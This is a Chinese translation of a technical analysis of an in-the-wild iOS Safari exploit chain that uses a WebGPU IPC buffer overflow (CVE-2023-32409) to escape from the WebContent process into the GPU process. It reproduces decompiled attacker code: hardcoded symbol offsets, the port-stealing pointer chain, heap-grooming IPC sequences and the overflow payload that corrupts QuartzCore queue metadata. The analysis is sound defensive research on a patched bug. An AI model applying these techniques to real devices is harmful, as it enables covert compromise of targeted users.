iOS Safari WebContent到GPU进程的在野漏洞利用分析
2023-10-26 17:23:0 Author: paper.seebug.org(查看原文) 阅读量:44 收藏

原文链接:An analysis of an in-the-wild iOS Safari WebContent to GPU Process exploit
译者:知道创宇404实验室翻译组

今年四月,Google威胁分析小组与国际特赦组织合作,发现了一个在野 iPhone 0day 漏洞攻击链,该漏洞链被用于通过恶意链接进行有针对性的攻击。同时,该链已按照七天的披露期限向 Apple 进行了报告,Apple 也已于2023年4月7日发布了iOS 16.4.1版本,对CVE-2023-28206和CVE-2023-28205进行了修复。

在过去几年中,Apple一直在在强化 iOS 上的 Safari WebContent(或“渲染器”)进程沙箱攻击面,近期还删除了WebContent进程中直接访问GPU相关硬件的能力。现在,通过在单独的沙箱中运行的 GPU 进程代理就可以对图形相关驱动程序进行访问。

对这个在野漏洞利用链的分析揭示了第一个攻击者利用 Safari IPC 层从 WebContent“跳跃”到 GPU 进程的案例,从而向漏洞利用链添加了额外的链接(CVE-2023-32409)。

根据现有证据,我们可以推断出:渲染器沙箱已经足够坚固(至少在这个独立的案例中),但攻击者还需要捆绑一个额外的、独立的漏洞利用。而Project Zero一直主张减少攻击面,将其作为提高安全性的有效工具,有一定效果。

但是实际过程中,我们发现情况并非如此。因为追溯沙箱代码在设计时从未考虑过分区,所以很难有效进行呢简单执行。在这种情况下,该漏洞利用的目标是一个未使用的IPC支持代码中的一个非常基本的缓冲区溢出漏洞(主要用于禁用功能),而这却是由于引入的沙箱而存在的新攻击面,因此针对IPC层的简单的模糊测试工具几秒钟内就可能会发现这个漏洞。

尽管如此,攻击者每次仍然需要利用链中的这个额外链接来到达 GPU 驱动程序内核攻击面。本文也将对攻击者开发的基于NSExpression的框架进行详细分析。

写在前面

在利用 JavaScriptCore收集漏洞获得本地代码执行之后,攻击者在 JavaScript中的大型ArrayBuffer上执行查找和替换(其中包含 Mach-O 二进制文件),以使用硬编码链接许多与平台和版本相关的符号地址和结构偏移量:

// find and rebase symbols for current target and ASLR slide:

    dt: {
        ce: false,
["16.3.0"]: {
            _e: 0x1ddc50ed1,
            de: 0x1dd2d05b8,
            ue: 0x19afa9760,
            he: 1392,
            me: 48,
            fe: 136,
            pe: 0x1dd448e70,
            ge: 305,
            Ce: 0x1dd2da340,
            Pe: 0x1dd2da348,
            ye: 0x1dd2d45f0,
            be: 0x1da613438,
...
["16.3.1"]: {
            _e: 0x1ddc50ed1,
            de: 0x1dd2d05b8,
            ue: 0x19afa9760,
            he: 1392,
            me: 48,
            fe: 136,
            pe: 0x1dd448e70,
            ge: 305,
            Ce: 0x1dd2da340,
            Pe: 0x1dd2da348,
            ye: 0x1dd2d45f0,
            be: 0x1da613438,
// mach-o Uint32Array:
xxxx = new Uint32Array([0x77a9d075,0x88442ab6,0x9442ab8,0x89442ab8,0x89442aab,0x89442fa2,

// deobfuscate xxx

...

// find-and-replace symbols:

xxxx.on(new m("0x2222222222222222"), p.Le);
xxxx.on(new m("0x3333333333333333"), Gs);
xxxx.on(new m("0x9999999999999999"), Bs);
xxxx.on(new m("0x8888888888888888"), Rs);
xxxx.on(new m("0xaaaaaaaaaaaaaaaa"), Is);
xxxx.on(new m("0xc1c1c1c1c1c1c1c1"), vt);
xxxx.on(new m("0xdddddddddddddddd"), p.Xt);
xxxx.on(new m("0xd1d1d1d1d1d1d1d1"), p.Jt);
xxxx.on(new m("0xd2d2d2d2d2d2d2d2"), p.Ht);

初始加载的Mach-O有一个相当小的TEXT(代码)段(其实际上是一个Mach-O加载程序,从一个名为embd的段中加载另一个二进制文件),本次分析将讨论的就是这个内部 Mach-O。

第一部分——Mysterious Messages

查看二进制文件中的字符串,可以找到一组由熟悉的IOKit用户客户端匹配引用图形驱动程序的字符串:

"AppleM2ScalerCSCDriver",0
"IOSurfaceRoot",0
"AGXAccelerator",0

但是,在跟随对"AGXAccelerator"的交叉引用(为GPU打开用户客户端)进行分析后发现,这个字符串不会再传递给IOServiceOpen。相反,所有对它的引用都将会在这里结束(二进制文件已经被删除,所以所有函数名都是自己起的):

kern_return_t
get_a_user_client(char *matching_string,
                  u32 type,
                  void* s_out) {
  kern_return_t ret;
  struct uc_reply_msg;
  mach_port_name_t reply_port;
  struct msg_1 msg;

  reply_port = 0;
  mach_port_allocate(mach_task_self_,
                     MACH_PORT_RIGHT_RECEIVE,
                     &reply_port);
  memset(&msg, 0, sizeof(msg));
  msg.hdr.msgh_bits = 0x1413;
  msg.hdr.msgh_remote_port = a_global_port;
  msg.hdr.msgh_local_port = reply_port;
  msg.hdr.msgh_id = 5;
  msg.hdr.msgh_size = 200;
  msg.field_a = 0;
  msg.type = type;
  __strcpy_chk(msg.matching_str, matching_string, 128LL);
  ret = mach_msg_send(&msg.hdr);
...
  // return a port read from the reply message via s_out

虽然用户客户端匹配字符串放在mach消息中并不罕见(许多漏洞利用将生成自己的MIG序列化代码用于与IOKit交互的),但这不是MIG消息。

深入探究

此时我开始检查所有可以发送或接收 mach 消息的导入符号的交叉引用,希望能找到IPC的另一端,但我发现了更多的问题。

特别是,有很多发送 msgh_id 为0xDBA1DBA的 可变大小 mach 消息的函数的交叉引用。而这个常量在Google上正好有一个匹配结果:

当尝试搜索非十六进制常量"cake recipes"时,按照单个结果导致在ConnectionCocoa.mm的opensource.apple.com中找到以下片段:

namespace IPC {
static const size_t inlineMessageMaxSize = 4096;
// Arbitrary message IDs that do not collide with Mach notification messages (used my initials).
constexpr mach_msg_id_t inlineBodyMessageID = 0xdba0dba;
constexpr mach_msg_id_t outOfLineBodyMessageID = 0xdba1dba;

这是Safari IPC消息中使用的一个常量

虽然Safari长期以来一直拥有独立的网络进程,但直到最近才开始将GPU与图形相关的功能隔离到GPU进程中。由于渲染器进程不能打开AGXAccelerator用户客户端,因此漏洞利用需要GPU进程执行这个操作,而这也这很可能是一种针对Safari IPC层的iOS在野漏洞利用。

进一步探索

在搜索Safari IPC信息并没有得到太多结果(除了一些早期的Project Zero漏洞报告),而查看WebKit源代码却显示大量使用了生成的代码C++操作符重载,这两者都不利于快速了解IPC消息的二进制级结构。

对此进行进一步分析中发现,正如我们从上面的代码片段中所看到的,包含msgh_id值为0xdba1dba的IPC消息会将其序列化的消息主体作为一种线外描述符进行发送。该序列化的主体始终以IPC命名空间中定义的公共标头开头,如下所示:

void Encoder::encodeHeader()
{
  *this << defaultMessageFlags;
  *this << m_messageName;
  *this << m_destinationID;
}

flags和name字段都是16位值,而destinationID是64位。序列化使用自然对齐,因此在name和destinationID之间有4字节的填充:

枚举所有在漏洞利用中序列化这些Safari IPC消息的函数,发现他们都没有对messageName值进行硬编码;相反,有一个间接层表明messageName值在构建过程中不稳定。该漏洞利用设备的uname字符串、产品和操作系统版本都选择正确的messageName值硬编码表。

iOS共享缓存中的IPC::description函数将messageName值映射到IPC名称:

const char * IPC::description(unsigned int messageName)
{
  if ( messageName > 0xC78 )
    return "<invalid message name>";
  else
    return off_1D61ED988[messageName];
}

边界检查的大小给出了IPC攻击面的大小的概念,即所有通信进程之间有超过3000个IPC消息。

使用共享缓存中的表将消息名称映射到可读字符串,我们可以看到漏洞利用了以下24个IPC消息:

0x39:  GPUConnectionToWebProcess_CreateRemoteGPU
0x3a:  GPUConnectionToWebProcess_CreateRenderingBackend
0x9B5: InitializeConnection
0x9B7: ProcessOutOfStreamMessage
0xBA2: RemoteAdapter_RequestDevice
0xBA5: RemoteBuffer_MapAsync
0x271: RemoteBuffer_Unmap
0xBA6: RemoteCDMFactoryProxy_CreateCDM
0x2A2: RemoteDevice_CreateBuffer
0x2C7: RemoteDisplayListRecorder_DrawNativeImage
0x2D4: RemoteDisplayListRecorder_FillRect
0x2DF: RemoteDisplayListRecorder_SetCTM
0x2F3: RemoteGPUProxy_WasCreated
0xBAD: RemoteGPU_RequestAdapter
0x402: RemoteMediaRecorderManager_CreateRecorder
0xA85: RemoteMediaRecorderManager_CreateRecorderReply
0x412: RemoteMediaResourceManager_RedirectReceived
0x469: RemoteRenderingBackendProxy_DidInitialize
0x46D: RemoteRenderingBackend_CacheNativeImage
0x46E: RemoteRenderingBackend_CreateImageBuffer
0x474: RemoteRenderingBackend_ReleaseResource
0x9B8: SetStreamDestinationID
0x9B9: SyncMessageReply
0x9BA: Terminate

此IPC名称列表巩固了这个漏洞利用是针对GPU进程漏洞的理论。

转换思路

这些消息发送的目标端口来自一个全局变量,当加载到IDA时,该变量在原始 Mach-O 中如下所示:

__data:000000003E4841C0 dst_port DCQ 0x4444444444444444

我之前提到,加载漏洞利用二进制文件的外部JS首先执行了类似这样的查找和替换。以下是计算这个特定值的代码片段:

 let Ls = o(p.Ee);
 let Ds = o(Ls.add(p.qe));
 let Ws = o(Ds.add(p.$e));
 let vs = o(Ws.add(p.Ze));
 jBHk.on(new m("0x4444444444444444"), vs);

替换所有的常量后,我们可以看到它遵循来自共享缓存内硬编码偏移的指针链:

 let Ls = o(0x1dd453458);
 let Ds = o(Ls.add(256));
 let Ws = o(Ds.add(24);
 let vs = o(Ws.add(280));

在初始符号地址(0x1dd453458)处,我们找到了WebContent进程的单例进程对象,用于维护其状态:

WebKit:__common:00000001DD453458 WebKit::WebProcess::singleton(void)::process

根据偏移量,我们可以看到它们遵循这个指针链,以便能够找到代表WebProcess与GPU进程连接的mach端口权限:

process->m_gpuProcessConnection->m_connection->m_sendPort

该漏洞利用还读取m_receivePort字段,使其能够与GPU进程建立双向通信,并完全模拟WebContent进程。

特征定义

WebKit使用一种简单的自定义DSL在以后缀.messages.in结尾的文件中定义其 IPC 消息,如下所示:

messages -> RemoteRenderPipeline NotRefCounted Stream {
  void GetBindGroupLayout(uint32_t index, WebKit::WebGPUIdentifier identifier);
  void SetLabel(String label)
}

这些定义由该Python脚本解析,以生成处理消息序列化和反序列化所需的样板代码。希望跨越序列化边界的类型定义了::encode::decode方法:

void encode(IPC::Encoder&) const;
static WARN_UNUSED_RETURN bool decode(IPC::Decoder&, T&);

有许多宏为内置类型定义这些编码器。

模式产生

重命名漏洞利用中发送IPC消息的方法并反向一些参数,就会出现一个清晰的模式:

image_buffer_base_id = rand();
for (i = 0; i < 34; i++) {
  IPC_RemoteRenderingBackend_CreateImageBuffer(
    image_buffer_base_id + i);
}
semaphore_signal(semaphore_b);

remote_device_buffer_id_base = rand();
IPC_RemoteRenderingBackend_ReleaseResource(
  image_buffer_base_id + 2);
usleep(4000u);

IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base);
usleep(4000u);

IPC_RemoteRenderingBackend_ReleaseResource(
  image_buffer_base_id + 4);
usleep(4000u);

IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 1);
usleep(4000u);

IPC_RemoteRenderingBackend_ReleaseResource(
  image_buffer_base_id + 6);
usleep(4000u);

IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 2);
usleep(4000u);

IPC_RemoteRenderingBackend_ReleaseResource(
  image_buffer_base_id + 8);
usleep(4000u);

IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 3);
usleep(4000u);

IPC_RemoteRenderingBackend_ReleaseResource(
  image_buffer_base_id + 10);
usleep(4000u);

IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 4);
usleep(4000u);

IPC_RemoteRenderingBackend_ReleaseResource(
  image_buffer_base_id + 12);
usleep(4000u);

IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 5);
usleep(4000u);

semaphore_signal(semaphore_b);

这会创建34个RemoteRenderingBackend ImageBuffer对象,释放其中的6个后,可能会通过RemoteDevice::CreateBuffer IPC(传递大小为16k)重新分配这些空间。

这看起来很像堆操作,将某些对象彼此相邻放置以准备缓冲区溢出。稍微奇怪的部分是它看起来非常简单(这里没有复杂的堆整理方法的迹象)。上面的图表只是我猜测正在发生的事情,通过阅读实施IPC的代码,实际上并不明显这些缓冲区在哪里分配的。

一个奇怪的论点

我开始对看起来最相关的 IPC 消息结构进行逆向工程,寻找看起来不合适的东西。其中有一对消息非常可疑:

RemoteBuffer::MapAsync
RemoteBuffer::Unmap

这是从Web进程发送到GPU进程的两条消息,在GPUProcess/graphics/WebGPU/RemoteBuffer.messages.in中进行定义,在WebGPU实现中使用。

虽然Safari中存在实现WebGPU的IPC机制,但用户界面的JavaScript API并不存在。它曾在 Apple 提供的Safari技术预览版本中可用,但已经有一段时间没有启用了。W3C WebGPU 小组的 github wiki 建议,当Safari中启用WebGPU支持时,用户应该避免在浏览不受信任的网络时保持启用状态

RemoteBuffer的IPC定义如下:

messages -> RemoteBuffer NotRefCounted Stream
{
  void MapAsync(PAL::WebGPU::MapModeFlags mapModeFlags,
                PAL::WebGPU::Size64 offset,
                std::optional<PAL::WebGPU::Size64> size)        
                ->
        (std::optional<Vector<uint8_t>> data) Synchronous

    void Unmap(Vector<uint8_t> data)
}

这些WebGPU 资源解释了这些API背后的概念。它们旨在管理GPU和CPU之间共享缓冲区:

MapAsync将缓冲区的所有权从GPU移交给CPU,并允许CPU在不与GPU竞争的情况下对其进行操作。

然后Unmap发出信号,表示CPU已经完成对缓冲区的操作,并且所有权可以返回给 GPU。

实际上,MapAsync IPC将WebGPU缓冲区的当前内容(在指定偏移处)作为Vector<uint8_t>的副本返回给CPU。然后,Unmap将新的内容作为Vector<uint8_t>传递回GPU。

缓冲区生命周期

RemoteBuffer是在WebContent侧使用RemoteDevice::CreateBuffer IPC创建的:

messages -> RemoteDevice NotRefCounted Stream {
  void Destroy()
  void CreateBuffer(WebKit::WebGPU::BufferDescriptor descriptor,
                    WebKit::WebGPUIdentifier identifier)

这需要要创建缓冲区描述和对其进行命名的标识符。漏洞利用中对此IPC的所有调用发现都使用了固定大小的0x4000,这是iOS上单个物理页面的大小,即16KB。

这些 IPC重要特征是在某些地方传递给MapAsync相当奇怪的参数:

IPC_RemoteBuffer_MapAsync(remote_device_buffer_id_base + m,
                          0x4000,
                          0);

如上所示,此IPC接受缓冲区ID、偏移量和要映射的大小。因此,此IPC调用请求映在偏移量0x4000(最末端)、大小为0(即什么都没有)处映射id为Remote_device_buffer_id_base + m的缓冲区。

紧接着,它们调用IPC_RemoteBuffer_Unmap,将一个40字节的向量作为"新内容"传递:

b[0] = 0x7F6F3229LL;
b[1] = 0LL;
b[2] = 0LL;
b[3] = 0xFFFFLL;
b[4] = arg_val;
return IPC_RemoteBuffer_Unmap(dst, b, 40LL);
缓冲区的源头

我花了较多时间尝试弄清楚支持RemoteBuffer缓冲区分配的底层页面的起源。从Webkit的代码中静态地跟踪,最终进入了使用Objective-C编写的AGX GPU系列驱动的用户空间部分。有很多方法的名称类似于

id __cdecl -[AGXG15FamilyDevice newBufferWithLength:options:]

这暗示了缓冲区分配的责任,但看不到malloc、mmap和vm_allocate。

在 M1 MacBook 上使用 GPU 试验代码时,使用dtrace 转储用户空间和内核堆栈跟踪,我最终发现该缓冲区是由 GPU 驱动程序本身分配的,然后将内存映射到用户空间:

IOMemoryDescriptor::createMappingInTask
IOBufferMemoryDescriptor::initWithPhysicalMask
com.apple.AGXG13X`AGXAccelerator::
                    createBufferMemoryDescriptorInTaskWithOptions
com.apple.iokit.IOGPUFamily`IOGPUSysMemory::withOptions
com.apple.iokit.IOGPUFamily`IOGPUResource::newResourceWithOptions
com.apple.iokit.IOGPUFamily`IOGPUDevice::new_resource
com.apple.iokit.IOGPUFamily`IOGPUDeviceUserClient::s_new_resource
kernel.release.t6000`0xfffffe00263116cc+0x80
kernel.release.t6000`0xfffffe00263117bc+0x28c
kernel.release.t6000`0xfffffe0025d326d0+0x184
kernel.release.t6000`0xfffffe0025c3856c+0x384
kernel.release.t6000`0xfffffe0025c0e274+0x2c0
kernel.release.t6000`0xfffffe0025c25a64+0x1a4
kernel.release.t6000`0xfffffe0025c25e80+0x200
kernel.release.t6000`0xfffffe0025d584a0+0x184
kernel.release.t6000`0xfffffe0025d62e08+0x5b8
kernel.release.t6000`0xfffffe0025be37d0+0x28

                 ^
--- kernel stack |   | userspace stack ---
                     v

libsystem_kernel.dylib`mach_msg2_trap
IOKit`io_connect_method
IOKit`IOConnectCallMethod
IOGPU`IOGPUResourceCreate
IOGPU`-[IOGPUMetalResource initWithDevice:
          remoteStorageResource:
          options:
          args:
          argsSize:]
IOGPU`-[IOGPUMetalBuffer initWithDevice:
          pointer:
          length:
          alignment:
          options:
          sysMemSize:
          gpuAddress:
          args:
          argsSize:
          deallocator:]
AGXMetalG13X`-[AGXBuffer(Internal) initWithDevice:
                 length:
                 alignment:
                 options:
                 isSuballocDisabled:
                 resourceInArgs:
                 pinnedGPULocation:]
AGXMetalG13X`-[AGXBuffer initWithDevice:
                           length:
                           alignment:
                           options:
                           isSuballocDisabled:
                           pinnedGPULocation:]
AGXMetalG13X`-[AGXG13XFamilyDevice newBufferWithDescriptor:]
IOGPU`IOGPUMetalSuballocatorAllocate

IOMemoryDescriptor::createMappingInTask在任务虚拟内存中使用的算法与vm_allocate使用的算法相同,这解释了为什么前面看到的"堆整理"如此简单,因为vm_allocate首先使用简单的自下而上拟合算法。

mapAsync

弄清楚了缓冲区的起源后,我们可以跟踪mapAsync IPC的GPU进程端。通过各种间接层,最终到达具有受控偏移和大小值的以下代码:

void* Buffer::getMappedRange(size_t offset, size_t size)
{
    // https://gpuweb.github.io/gpuweb/#dom-gpubuffer-getmappedrange
    auto rangeSize = size;
    if (size == WGPU_WHOLE_MAP_SIZE)
        rangeSize = computeRangeSize(m_size, offset);

    if (!validateGetMappedRange(offset, rangeSize)) {
        // FIXME: "throw an OperationError and stop."
        return nullptr;
    }

    m_mappedRanges.add({ offset, offset + rangeSize });
    m_mappedRanges.compact();

    return static_cast<char*>(m_buffer.contents) + offset;
}

m_buffer.contents是GPU内核驱动程序通过AGXAccelerator::createBufferMemoryDescriptorInTaskWithOptions映射到GPU进程地址空间中的缓冲区的基地址。这段代码将请求的映射范围存储在m_mappedRanges中,然后返回底层页面的原始指针。在调用堆栈的较高层,原始指针和长度存储在m_mappedRange字段中。然后,更高级别代码在该偏移量处复制缓冲区的内容,将该副本包装在Vector<>中以通过IPC发回。

unmap

下面是RemoteBuffer_Unmap IPC在GPU进程端的实现。此时,data是由WebContent客户端发送的一个Vector<>。

void RemoteBuffer::unmap(Vector<uint8_t>&& data)
{
    if (!m_mappedRange)
        return;
    ASSERT(m_isMapped);
    if (m_mapModeFlags.contains(PAL::WebGPU::MapMode::Write))
        memcpy(m_mappedRange->source, data.data(), data.size());
    m_isMapped = false;
    m_mappedRange = std::nullopt;
    m_mapModeFlags = { };
}

令人遗憾的是,问题很琐碎:虽然RemoteBuffer代码确实检查客户端之前是否已映射了此缓冲区对象(因此m_mappedRange包含映射范围的偏移和大小),但它未验证“修改内容”的Vector<>大小实际上是否与先前映射范围的大小相匹配。相反,代码只是简单地使用Vector<>的大小而不是范围的大小将客户端提供的Vector<>盲目memcpy到映射范围中。

这种未经检查的memcpy直接使用来自IPC的值导致了沙箱逃逸漏洞,这是修复方法

cppCopy codevoid RemoteBuffer::unmap(Vector<uint8_t>&& data)
{
    if (!m_mappedRange || m_mappedRange->byteLength < data.size())
        return;
    ASSERT(m_isMapped);

应该注意的是,WebGPU的安全问题是众所周知的,并且WebGPU的javascript接口在iOS上的Safari中被禁用。但支持javascript接口的IPC并未被禁用,这意味着WebGPU有丰富的沙箱逃逸攻击面。

目标未知

找到 GPU 缓冲区的分配位置并非易事,缓冲区的分配点难以在静态分析中确定,这使得很难了解哪些对象正在被调整。同样,确定溢出目标及其分配点也同样棘手。

静态跟踪RemoteRenderingBackend::CreateImageBuffer IPC的实现时发现,根据漏洞利用的高级流程,它似乎必须负责再次分配溢出目标,但最终进入了没有明显目标的系统库代码。

根据这样的理论,由于堆整理的简单性,vm_allocate / mmap可能以 某种方式负责分配,因此我在M1 Mac上的Safari GPU进程上为这些API设置了断点,然后运行了WebGL兼容性测试。只有一个地方调用了mmap:

bashCopy codeTarget 0: (com.apple.WebKit.GPU) stopped.
(lldb) bt
* thread #30, name = 'RemoteRenderingBackend work queue',
  stop reason = breakpoint 12.1
* frame #0: mmap
  frame #1: QuartzCore`CA::CG::Queue::allocate_slab
  frame #2: QuartzCore`CA::CG::Queue::alloc
  frame #3: QuartzCore`CA::CG::ContextDelegate::fill_rects
  frame #4: QuartzCore`CA::CG::ContextDelegate::draw_rects_
  frame #5: CoreGraphics`CGContextFillRects
  frame #6: CoreGraphics`CGContextFillRect
  frame #7: CoreGraphics`CGContextClearRect
  frame #8: WebKit::ImageBufferShareableMappedIOSurfaceBackend::create
  frame #9: WebKit::RemoteRenderingBackend::createImageBuffer

这与我们在堆整理中看到的IPC完全相符!

进入核心

QuartzCore是iOS上的低级绘图/渲染代码的一部分。对mmap站点周围代码的反汇编显示,它似乎是用于绘制命令的自定义队列类型。稍后转储mmap的QueueSlab内存,我们看到一些结构:

bashCopy code(lldb) x/10xg $x0
0x13574c000: 0x00000001420041d0 0x0000000000000000
0x13574c010: 0x0000000000004000 0x0000000000003f10
0x13574c020: 0x000000013574c0f0 0x0000000000000000

通过反汇编周围的QuartzCore代码,我们可以推断出该标头的结构类似于:

struct QuartzQueueSlab 
{  
 struct QuartzQueueSlab *free_list_ptr;   
 uint64_t size_a;   
 uint64_t mmap_size;   
 uint64_t remaining_size;   
 uint64_t buffer_ptr;   
 uint64_t f;   
 uint8_t inline_buffer[16336];
};

这是一个简短的标头,具有一些大小自由列表指针,然后是一个指向内联缓冲区的指针。字段的初始化如下:

mapped_base->free_list_ptr = 0;
mapped_base->size_a = 0;
mapped_base->mmap_size = mmap_size;
mapped_base->remaining_size = mmap_size - 0x30;
mapped_base->buffer_ptr = mapped_base->inline_buffer;

QueueSlab是一个简单的分配器。end开始时指向内联缓冲区的开头;只要remaining指示仍然有可用空间,每次分配都会增加:

假设这是损坏目标;RemoteBuffer::Unmap调用将损坏此标头,与行对齐如下:

b[0] = 0x7F6F3229LL;
b[1] = 0LL;
b[2] = 0LL;
b[3] = 0xFFFFLL;
b[4] = arg;
return IPC_RemoteBuffer_Unmap(dst, b, 40LL);

RemoteBuffer::Unmap IPC周围的漏洞利用包装器采用单个参数,该参数与QueueSlab 的内联缓冲区指针完美匹配,并将其替换为任意值。

QueueSlab由更高级别的CA::CG::Queue对象指向,而该对象又由CGContext对象指向。

再次准备

接下来有第二轮准备工作:

remote_device_after_base_id = rand();

for (j = 0; j < 200; j++) {
  IPC_RemoteDevice_CreateBuffer_16k(remote_device_after_base_id + j);
}

semaphore_signal(semaphore_b);
semaphore_signal(semaphore_a);

IPC_RemoteRenderingBackend_CacheNativeImage(image_buffer_base_id + 34LL);

semaphore_signal(semaphore_b);
semaphore_signal(semaphore_a);

for (k = 0; k < 200; k++) {
  IPC_RemoteDevice_CreateBuffer_16k(remote_device_after_base_id + 200 + k);
}

这明显是试图将与RemoteRenderingBackend::CacheNativeImage相关的分配放置在与RemoteDevice::CreateBuffer相关的大量分配附近,这是我们之前看到的导致RemoteBuffer对象分配的IPC。

Overflow 1

第一个溢出的核心基元涉及4个IPC方法:

  1. RemoteBuffer::MapAsync - 设置溢出的目标指针。
  2. RemoteBuffer::Unmap - 执行溢出,损坏队列元数据。
  3. RemoteDisplayListRecorder::DrawNativeImage - 使用已损坏的队列元数据写入指向受控地址的指针。
  4. RemoteCDMFactoryProxy::CreateCDM - 暴露了写入的指针值。

我们依次看看这些:

IPC 1 - MapAsync

for (m = 0; m < 6; m++) {
  index_of_corruptor = m;
  IPC_RemoteBuffer_MapAsync(remote_device_buffer_id_base + m,
                            0x4000LL,
                            0LL);

他们迭代所有 6 个RemoteBuffer 对象,希望成功将它们中的至少一个直接放置在QueueSlab分配之前。这个MapAsync IPC将RemoteBuffer的m_mappedRange->source字段设置为指向末尾(希望指向QueueSlab)。

IPC 2 - Unmap

 wrap_remote_buffer_unmap(remote_device_buffer_id_base + m,
WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current - 0x88)

wrap_remote_buffer_unmap是我们之前看到片段的包装函数,调用Unmap IPC:

void* wrap_remote_buffer_unmap(int64 dst, int64 arg)
{
  int64 b[5];

  b[0] = 0x7F6F3229LL;
  b[1] = 0LL;
  b[2] = 0LL;
  b[3] = 0xFFFFLL;
  b[4] = arg;
  return IPC_RemoteBuffer_Unmap(dst, b, 40LL);
}

传递给wrap_remote_buffer_unmap的arg值(也是下一步覆盖的基本目标地址)是WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current - 0x88,这是一个由Mach-O上的JS查找和替换链接的符号,它指向以下全局变量:

int64 WTF::ObjectIdentifierBase::generateIdentifierInternal()
{
  return ++WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current;
}

顾名思义,它用于使用单调递增计数器生成唯一的 id(此函数上方有一定程度的锁定)。Unmap IPC中传递的值指向:: current地址下方的0x88 。

如果groom起作用,这会导致QueueSlab的内联缓冲区指针损坏,将其替换为GPU进程用于分配新标识符的计数器的地址下面的0x88字节。

IPC 3 - DrawNativeImage

for ( n = 0; n < 0x22; ++n )  {
  if (n == 2 || n == 4 || n == 6 || n == 8 || n == 10 || n == 12) {
    continue
  }
  IPC_RemoteDisplayListRecorder_DrawNativeImage(
    image_buffer_base_id + n,// potentially corrupted target
    image_buffer_base_id + 34LL);

然后,该漏洞利用会迭代所有的ImageBuffer对象(跳过那些被释放为RemoteBuffers腾出空间的对象),然后依次将每个对象作为第一个参数传递给IPC_RemoteDisplayListRecorder_DrawNativeImage。希望其中一个ImageBuffer的关联QueueSlab结构已损坏。而传递给DrawNativeImage的第二个参数是之前调用CacheNativeImage时传递的ImageBuffer对象。

让我们跟踪 GPU 进程端的DrawNativeImage实现, 看看与第一个ImageBuffer关联的损坏的QueueSlab会发生什么:

void RemoteDisplayListRecorder::drawNativeImage(
  RenderingResourceIdentifier imageIdentifier,
  const FloatSize& imageSize,
  const FloatRect& destRect,
  const FloatRect& srcRect,
  const ImagePaintingOptions& options)
{
  drawNativeImageWithQualifiedIdentifier(
    {imageIdentifier, m_webProcessIdentifier},
    imageSize,
    destRect,
    srcRect,
    options);
}

这立即调用了:

void
RemoteDisplayListRecorder::drawNativeImageWithQualifiedIdentifier(
  QualifiedRenderingResourceIdentifier imageIdentifier,
  const FloatSize& imageSize,
  const FloatRect& destRect,
  const FloatRect& srcRect,
  const ImagePaintingOptions& options)
{
  RefPtr image = resourceCache().cachedNativeImage(imageIdentifier);
  if (!image) {
    ASSERT_NOT_REACHED();
    return;
  }

  handleItem(DisplayList::DrawNativeImage(
               imageIdentifier.object(),
               imageSize,
               destRect,
               srcRect,
               options),
             *image);
}

在这里,imageIdentifier对应于之前传递给CacheNativeImage的ImageBuffer的ID。简要看一下CacheNativeImage的实现, 我们可以看到它分配了一个NativeImage对象(这是之前通过cachedNativeImage调用返回的):

RemoteRenderingBackend::cacheNativeImage(
  const ShareableBitmap::Handle& handle,
  RenderingResourceIdentifier nativeImageResourceIdentifier)
{
  cacheNativeImageWithQualifiedIdentifier(
    handle,
    {nativeImageResourceIdentifier,
      m_gpuConnectionToWebProcess->webProcessIdentifier()}
  );
}

void
RemoteRenderingBackend::cacheNativeImageWithQualifiedIdentifier(
  const ShareableBitmap::Handle& handle,
  QualifiedRenderingResourceIdentifier nativeImageResourceIdentifier)
{
  auto bitmap = ShareableBitmap::create(handle);
  if (!bitmap)
    return;

  auto image = NativeImage::create(
                 bitmap->createPlatformImage(
                   DontCopyBackingStore,
                   ShouldInterpolate::Yes),
                 nativeImageResourceIdentifier.object());
  if (!image)
    return;

  m_remoteResourceCache.cacheNativeImage(
    image.releaseNonNull(),
    nativeImageResourceIdentifier);
}

这个NativeImage对象是由默认系统malloc分配的。回到DrawNativeImage流程,我们得到这样的结果:

void DrawNativeImage::apply(GraphicsContext& context, NativeImage& image) const
{
    context.drawNativeImage(image, m_imageSize, m_destinationRect, m_srcRect, m_options);
}

context对象是GraphicsContextCG,它是围绕系统CoreGraphics CGContext对象的包装器:

void GraphicsContextCG::drawNativeImage(NativeImage& nativeImage, const FloatSize& imageSize, const FloatRect& destRect, const FloatRect& srcRect, const ImagePaintingOptions& options)

这最终会调用:

CGContextDrawImage(context, adjustedDestRect, subImage.get());

其中调用CGContextDrawImageWithOptions。通过CoreGraphics库中的几个间接级别,最终到达:

int64 CA::CG::ContextDelegate::draw_image_(
  int64 delegate,
  int64 a2,
  int64 a3,
  CGImage *image...)
{
...
  alloc_from_slab = CA::CG::Queue::alloc(queue, 160);

  if (alloc_from_slab)
    CA::CG::DrawImage::DrawImage(
      alloc_from_slab,
      Info_2,
      a2,
      a3,
      FillColor_2,
      &v18,
      AlternateImage_0);

通过代理对象,代码检索了CGContext获取了与损坏的QueueSlab关联的Queue。然后,它从已损坏的队列slab中分配了160字节。

void*
CA::CG::Queue::alloc(CA::CG::Queue *q, __int64 size)
{
  uint64_t buffer*;
...
  size_rounded = (size + 31) & 0xFFFFFFFFFFFFFFF0LL;
  current_slab = q->current_slab;
  if ( !current_slab )
    goto alloc_slab;
  if ( !q->c || current_slab->remaining_size >= size_rounded )
    goto GOT_ENOUGH_SPACE;
...
GOT_ENOUGH_SPACE:
remaining_size = current_slab->remaining_size;
    new_remaining = remaining_size - size_requested_rounded;
    if ( remaining_size >= size_requested_rounded )
    {
      **buffer = current_slab->end**;
     current_slab->remaining_size = new_remaining;
      current_slab->end = buffer + size_rounded;
      goto RETURN_ALLOC;
...
RETURN_ALLOC:
  **buffer[0]** = size_rounded;
  atomic_fetch_add(q->alloc_meta);
  **buffer[1]** = q->alloc_meta
...
  **return &buffer[2]**;
}

